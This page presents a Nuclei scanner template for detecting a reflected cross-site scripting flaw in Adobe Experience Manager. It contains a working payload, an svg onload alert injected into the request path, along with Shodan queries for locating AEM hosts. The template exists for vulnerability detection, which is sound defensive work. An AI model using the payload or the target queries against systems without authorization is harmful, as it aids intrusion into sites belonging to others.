Adobe Experience Manager - Cross-Site Scripting

ID: aem-xss-childlist-selector

Severity: high

Author: dhiyaneshDk

Tags: xss,aem,adobe,misconfig

Description

Adobe Experience Manager contains a cross-site scripting vulnerability via requests using the selector childlist when the dispatcher does not respect the content-type responded by AEM and flips from application/json to text/html. As a consequence, the reflected suffix is executed and interpreted in the browser.

YAML Source

id: aem-xss-childlist-selector

info:
  name: Adobe Experience Manager - Cross-Site Scripting
  author: dhiyaneshDk
  severity: high
  description: |
    Adobe Experience Manager contains a cross-site scripting vulnerability via requests using the selector childlist when the dispatcher does not respect the content-type responded by AEM and flips from application/json to text/html. As a consequence, the reflected suffix is executed and interpreted in the browser.
  reference:
    - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/xss/FlippingTypeWithChildrenlistSelector.java
    - https://cystack.net/en/plugins/cystack.remote.aem_childlist_selector_xss
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
    shodan-query:
      - http.title:"AEM Sign In"
      - http.component:"Adobe Experience Manager"
  tags: xss,aem,adobe,misconfig

http:
  - method: GET
    path:
      - '{{BaseURL}}/etc/designs/xh1x.childrenlist.json//<svg onload=alert(document.domain)>.html'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<svg onload=alert(document.domain)>'
          - '{"path":"/etc/designs/xh1x.childrenlist.json'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a5544c78b5883db4120ddcf55712524f4e151de884850a42803938fefe961170022100946d4195095e6b6f194f3cedd4f1f0eba11ca4e5e2735235b548185b8df75d64:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/misconfiguration/aem/aem-xss-childlist-selector.yaml"

View on Github